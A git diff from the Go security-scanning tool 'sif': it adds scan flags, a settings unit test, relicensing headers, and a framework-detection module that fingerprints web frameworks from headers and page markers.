||||
SubdomainTakeover bool
|
||||
Shodan bool
|
||||
SQL bool
|
||||
LFI bool
|
||||
Framework bool
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -95,6 +87,10 @@ func Parse() *Settings {
|
||||
flagSet.BoolVar(&settings.Headers, "headers", false, "Enable HTTP Header Analysis"),
|
||||
flagSet.BoolVar(&settings.CloudStorage, "c3", false, "Enable C3 Misconfiguration Scan"),
|
||||
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
|
||||
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
|
||||
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
|
||||
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
|
||||
flagSet.BoolVar(&settings.Framework, "framework", false, "Enable framework detection"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("runtime", "Runtime",
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestSettingsDefaults(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// noscan should default to false (base scan runs by default)
|
||||
if settings.NoScan != false {
|
||||
t.Errorf("expected NoScan default to be false, got %v", settings.NoScan)
|
||||
}
|
||||
|
||||
// other scan flags should default to false
|
||||
if settings.Dorking != false {
|
||||
t.Errorf("expected Dorking default to be false, got %v", settings.Dorking)
|
||||
}
|
||||
if settings.Git != false {
|
||||
t.Errorf("expected Git default to be false, got %v", settings.Git)
|
||||
}
|
||||
if settings.Nuclei != false {
|
||||
t.Errorf("expected Nuclei default to be false, got %v", settings.Nuclei)
|
||||
}
|
||||
if settings.JavaScript != false {
|
||||
t.Errorf("expected JavaScript default to be false, got %v", settings.JavaScript)
|
||||
}
|
||||
if settings.CMS != false {
|
||||
t.Errorf("expected CMS default to be false, got %v", settings.CMS)
|
||||
}
|
||||
if settings.Headers != false {
|
||||
t.Errorf("expected Headers default to be false, got %v", settings.Headers)
|
||||
}
|
||||
if settings.CloudStorage != false {
|
||||
t.Errorf("expected CloudStorage default to be false, got %v", settings.CloudStorage)
|
||||
}
|
||||
if settings.SubdomainTakeover != false {
|
||||
t.Errorf("expected SubdomainTakeover default to be false, got %v", settings.SubdomainTakeover)
|
||||
}
|
||||
|
||||
// enum settings should default to empty string
|
||||
if settings.Dirlist != "" {
|
||||
t.Errorf("expected Dirlist default to be empty, got %v", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "" {
|
||||
t.Errorf("expected Dnslist default to be empty, got %v", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "" {
|
||||
t.Errorf("expected Ports default to be empty, got %v", settings.Ports)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsNoScanBehavior(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
noScan bool
|
||||
shouldBaseScan bool
|
||||
}{
|
||||
{
|
||||
name: "default - base scan should run",
|
||||
noScan: false,
|
||||
shouldBaseScan: true,
|
||||
},
|
||||
{
|
||||
name: "noscan enabled - base scan should not run",
|
||||
noScan: true,
|
||||
shouldBaseScan: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
settings := &Settings{NoScan: tt.noScan}
|
||||
|
||||
// the condition in sif.go is: if !app.settings.NoScan { scan.Scan(...) }
|
||||
shouldRun := !settings.NoScan
|
||||
if shouldRun != tt.shouldBaseScan {
|
||||
t.Errorf("expected shouldBaseScan=%v, got %v", tt.shouldBaseScan, shouldRun)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsTimeoutDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// timeout defaults to zero value, actual default (10s) is set in Parse()
|
||||
if settings.Timeout != 0 {
|
||||
t.Errorf("expected Timeout zero value, got %v", settings.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsThreadsDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// threads defaults to zero value, actual default (10) is set in Parse()
|
||||
if settings.Threads != 0 {
|
||||
t.Errorf("expected Threads zero value, got %v", settings.Threads)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsWithValues(t *testing.T) {
|
||||
settings := &Settings{
|
||||
NoScan: true,
|
||||
Dorking: true,
|
||||
Git: true,
|
||||
Nuclei: true,
|
||||
JavaScript: true,
|
||||
CMS: true,
|
||||
Headers: true,
|
||||
CloudStorage: true,
|
||||
SubdomainTakeover: true,
|
||||
Dirlist: "medium",
|
||||
Dnslist: "large",
|
||||
Ports: "common",
|
||||
Timeout: 30 * time.Second,
|
||||
Threads: 20,
|
||||
Debug: true,
|
||||
LogDir: "/tmp/logs",
|
||||
ApiMode: true,
|
||||
}
|
||||
|
||||
if !settings.NoScan {
|
||||
t.Error("expected NoScan to be true")
|
||||
}
|
||||
if !settings.Dorking {
|
||||
t.Error("expected Dorking to be true")
|
||||
}
|
||||
if settings.Dirlist != "medium" {
|
||||
t.Errorf("expected Dirlist 'medium', got '%s'", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "large" {
|
||||
t.Errorf("expected Dnslist 'large', got '%s'", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "common" {
|
||||
t.Errorf("expected Ports 'common', got '%s'", settings.Ports)
|
||||
}
|
||||
if settings.Timeout != 30*time.Second {
|
||||
t.Errorf("expected Timeout 30s, got %v", settings.Timeout)
|
||||
}
|
||||
if settings.Threads != 20 {
|
||||
t.Errorf("expected Threads 20, got %d", settings.Threads)
|
||||
}
|
||||
}
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package logger
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
+9
-22
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package scan provides various security scanning functionalities for web applications.
|
||||
@@ -109,7 +97,6 @@ func Dork(url string, timeout time.Duration, threads int, logdir string) ([]Dork
|
||||
|
||||
for i, dork := range dorks {
|
||||
|
||||
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -0,0 +1,785 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"math"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
type FrameworkResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Confidence float32 `json:"confidence"`
|
||||
VersionConfidence float32 `json:"version_confidence"`
|
||||
CVEs []string `json:"cves,omitempty"`
|
||||
Suggestions []string `json:"suggestions,omitempty"`
|
||||
RiskLevel string `json:"risk_level,omitempty"`
|
||||
}
|
||||
|
||||
type FrameworkSignature struct {
|
||||
Pattern string
|
||||
Weight float32
|
||||
HeaderOnly bool
|
||||
}
|
||||
|
||||
var frameworkSignatures = map[string][]FrameworkSignature{
|
||||
"Laravel": {
|
||||
{Pattern: `laravel_session`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `XSRF-TOKEN`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
|
||||
},
|
||||
"Django": {
|
||||
{Pattern: `csrfmiddlewaretoken`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `csrftoken`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `django.contrib`, Weight: 0.3},
|
||||
{Pattern: `django.core`, Weight: 0.3},
|
||||
{Pattern: `__admin_media_prefix__`, Weight: 0.3},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{Pattern: `csrf-param`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `csrf-token`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `_rails_session`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `ruby-on-rails`, Weight: 0.3},
|
||||
{Pattern: `rails-env`, Weight: 0.3},
|
||||
{Pattern: `data-turbo`, Weight: 0.2},
|
||||
},
|
||||
"Express.js": {
|
||||
{Pattern: `Express`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `connect.sid`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{Pattern: `X-AspNet-Version`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `X-AspNetMvc-Version`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `ASP.NET`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `__VIEWSTATE`, Weight: 0.4},
|
||||
{Pattern: `__EVENTVALIDATION`, Weight: 0.3},
|
||||
{Pattern: `__VIEWSTATEGENERATOR`, Weight: 0.3},
|
||||
{Pattern: `.aspx`, Weight: 0.2},
|
||||
{Pattern: `.ashx`, Weight: 0.2},
|
||||
{Pattern: `.asmx`, Weight: 0.2},
|
||||
{Pattern: `asp.net_sessionid`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `X-Powered-By: ASP.NET`, Weight: 0.4, HeaderOnly: true},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{Pattern: `.AspNetCore.`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `blazor`, Weight: 0.4},
|
||||
{Pattern: `_blazor`, Weight: 0.4},
|
||||
{Pattern: `dotnet`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"Spring": {
|
||||
{Pattern: `org.springframework`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `spring-security`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `JSESSIONID`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `X-Application-Context`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{Pattern: `spring-boot`, Weight: 0.5},
|
||||
{Pattern: `actuator`, Weight: 0.3},
|
||||
{Pattern: `whitelabel`, Weight: 0.2},
|
||||
},
|
||||
"Flask": {
|
||||
{Pattern: `Werkzeug`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `flask`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `jinja2`, Weight: 0.3},
|
||||
},
|
||||
"Next.js": {
|
||||
{Pattern: `__NEXT_DATA__`, Weight: 0.5},
|
||||
{Pattern: `_next/static`, Weight: 0.4},
|
||||
{Pattern: `__next`, Weight: 0.3},
|
||||
{Pattern: `x-nextjs`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{Pattern: `__NUXT__`, Weight: 0.5},
|
||||
{Pattern: `_nuxt/`, Weight: 0.4},
|
||||
{Pattern: `nuxt`, Weight: 0.2},
|
||||
},
|
||||
"Vue.js": {
|
||||
{Pattern: `data-v-`, Weight: 0.5},
|
||||
{Pattern: `Vue.js`, Weight: 0.4},
|
||||
{Pattern: `vue.runtime`, Weight: 0.4},
|
||||
{Pattern: `vue.min.js`, Weight: 0.4},
|
||||
{Pattern: `__vue__`, Weight: 0.3},
|
||||
{Pattern: `v-cloak`, Weight: 0.3},
|
||||
},
|
||||
"Angular": {
|
||||
{Pattern: `ng-version`, Weight: 0.5},
|
||||
{Pattern: `ng-app`, Weight: 0.4},
|
||||
{Pattern: `ng-controller`, Weight: 0.4},
|
||||
{Pattern: `angular.js`, Weight: 0.4},
|
||||
{Pattern: `angular.min.js`, Weight: 0.4},
|
||||
{Pattern: `ng-binding`, Weight: 0.3},
|
||||
{Pattern: `_nghost`, Weight: 0.3},
|
||||
{Pattern: `_ngcontent`, Weight: 0.3},
|
||||
},
|
||||
"React": {
|
||||
{Pattern: `data-reactroot`, Weight: 0.5},
|
||||
{Pattern: `react-dom`, Weight: 0.4},
|
||||
{Pattern: `__REACT_DEVTOOLS`, Weight: 0.4},
|
||||
{Pattern: `react.production`, Weight: 0.4},
|
||||
{Pattern: `_reactRootContainer`, Weight: 0.3},
|
||||
},
|
||||
"Svelte": {
|
||||
{Pattern: `svelte`, Weight: 0.4},
|
||||
{Pattern: `__svelte`, Weight: 0.5},
|
||||
{Pattern: `svelte-`, Weight: 0.3},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{Pattern: `__sveltekit`, Weight: 0.5},
|
||||
{Pattern: `_app/immutable`, Weight: 0.4},
|
||||
{Pattern: `sveltekit`, Weight: 0.3},
|
||||
},
|
||||
"Remix": {
|
||||
{Pattern: `__remixContext`, Weight: 0.5},
|
||||
{Pattern: `remix`, Weight: 0.3},
|
||||
{Pattern: `_remix`, Weight: 0.4},
|
||||
},
|
||||
"Gatsby": {
|
||||
{Pattern: `___gatsby`, Weight: 0.5},
|
||||
{Pattern: `gatsby-`, Weight: 0.4},
|
||||
{Pattern: `page-data.json`, Weight: 0.3},
|
||||
},
|
||||
"WordPress": {
|
||||
{Pattern: `wp-content`, Weight: 0.4},
|
||||
{Pattern: `wp-includes`, Weight: 0.4},
|
||||
{Pattern: `wp-json`, Weight: 0.3},
|
||||
{Pattern: `wordpress`, Weight: 0.3},
|
||||
{Pattern: `wp-emoji`, Weight: 0.2},
|
||||
},
|
||||
"Drupal": {
|
||||
{Pattern: `Drupal`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `drupal.js`, Weight: 0.4},
|
||||
{Pattern: `/sites/default/files`, Weight: 0.3},
|
||||
{Pattern: `Drupal.settings`, Weight: 0.3},
|
||||
},
|
||||
"Joomla": {
|
||||
{Pattern: `Joomla`, Weight: 0.4},
|
||||
{Pattern: `/media/jui/`, Weight: 0.4},
|
||||
{Pattern: `/components/com_`, Weight: 0.3},
|
||||
{Pattern: `joomla.javascript`, Weight: 0.3},
|
||||
},
|
||||
"Magento": {
|
||||
{Pattern: `Magento`, Weight: 0.4},
|
||||
{Pattern: `/static/frontend/`, Weight: 0.4},
|
||||
{Pattern: `mage/`, Weight: 0.3},
|
||||
{Pattern: `Mage.Cookies`, Weight: 0.3},
|
||||
},
|
||||
"Shopify": {
|
||||
{Pattern: `Shopify`, Weight: 0.5},
|
||||
{Pattern: `cdn.shopify.com`, Weight: 0.4},
|
||||
{Pattern: `shopify-section`, Weight: 0.4},
|
||||
{Pattern: `myshopify.com`, Weight: 0.3},
|
||||
},
|
||||
"Ghost": {
|
||||
{Pattern: `ghost-`, Weight: 0.4},
|
||||
{Pattern: `Ghost`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `/ghost/api/`, Weight: 0.4},
|
||||
},
|
||||
"Symfony": {
|
||||
{Pattern: `symfony`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `sf_`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `_sf2_`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"FastAPI": {
|
||||
{Pattern: `fastapi`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `starlette`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Gin": {
|
||||
{Pattern: `gin-gonic`, Weight: 0.4},
|
||||
{Pattern: `gin`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"Phoenix": {
|
||||
{Pattern: `_csrf_token`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `phx-`, Weight: 0.3},
|
||||
{Pattern: `phoenix`, Weight: 0.2},
|
||||
},
|
||||
"Ember.js": {
|
||||
{Pattern: `ember`, Weight: 0.4},
|
||||
{Pattern: `ember-cli`, Weight: 0.4},
|
||||
{Pattern: `data-ember`, Weight: 0.3},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{Pattern: `backbone`, Weight: 0.4},
|
||||
{Pattern: `Backbone.`, Weight: 0.4},
|
||||
},
|
||||
"Meteor": {
|
||||
{Pattern: `__meteor_runtime_config__`, Weight: 0.5},
|
||||
{Pattern: `meteor`, Weight: 0.3},
|
||||
},
|
||||
"Strapi": {
|
||||
{Pattern: `strapi`, Weight: 0.4},
|
||||
{Pattern: `/api/`, Weight: 0.2},
|
||||
},
|
||||
"AdonisJS": {
|
||||
{Pattern: `adonis`, Weight: 0.4},
|
||||
{Pattern: `_csrf`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"CakePHP": {
|
||||
{Pattern: `cakephp`, Weight: 0.4},
|
||||
{Pattern: `cake`, Weight: 0.2},
|
||||
},
|
||||
"CodeIgniter": {
|
||||
{Pattern: `codeigniter`, Weight: 0.4},
|
||||
{Pattern: `ci_session`, Weight: 0.4, HeaderOnly: true},
|
||||
},
|
||||
}
|
||||
|
||||
// frameworkMatch holds the result of checking a single framework
|
||||
type frameworkMatch struct {
|
||||
framework string
|
||||
confidence float32
|
||||
}
|
||||
|
||||
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
|
||||
|
||||
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Framework Detection 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// concurrent framework detection
|
||||
results := make(chan frameworkMatch, len(frameworkSignatures))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for framework, signatures := range frameworkSignatures {
|
||||
wg.Add(1)
|
||||
go func(fw string, sigs []FrameworkSignature) {
|
||||
defer wg.Done()
|
||||
|
||||
var weightedScore float32
|
||||
var totalWeight float32
|
||||
|
||||
for _, sig := range sigs {
|
||||
totalWeight += sig.Weight
|
||||
|
||||
if sig.HeaderOnly {
|
||||
if containsHeader(resp.Header, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
} else if strings.Contains(bodyStr, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
}
|
||||
|
||||
confidence := float32(1.0 / (1.0 + math.Exp(-float64(weightedScore/totalWeight)*6.0)))
|
||||
results <- frameworkMatch{framework: fw, confidence: confidence}
|
||||
}(framework, signatures)
|
||||
}
|
||||
|
||||
// close results channel when all goroutines complete
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(results)
|
||||
}()
|
||||
|
||||
// find the best match
|
||||
var bestMatch string
|
||||
var highestConfidence float32
|
||||
|
||||
for match := range results {
|
||||
if match.confidence > highestConfidence {
|
||||
highestConfidence = match.confidence
|
||||
bestMatch = match.framework
|
||||
}
|
||||
}
|
||||
|
||||
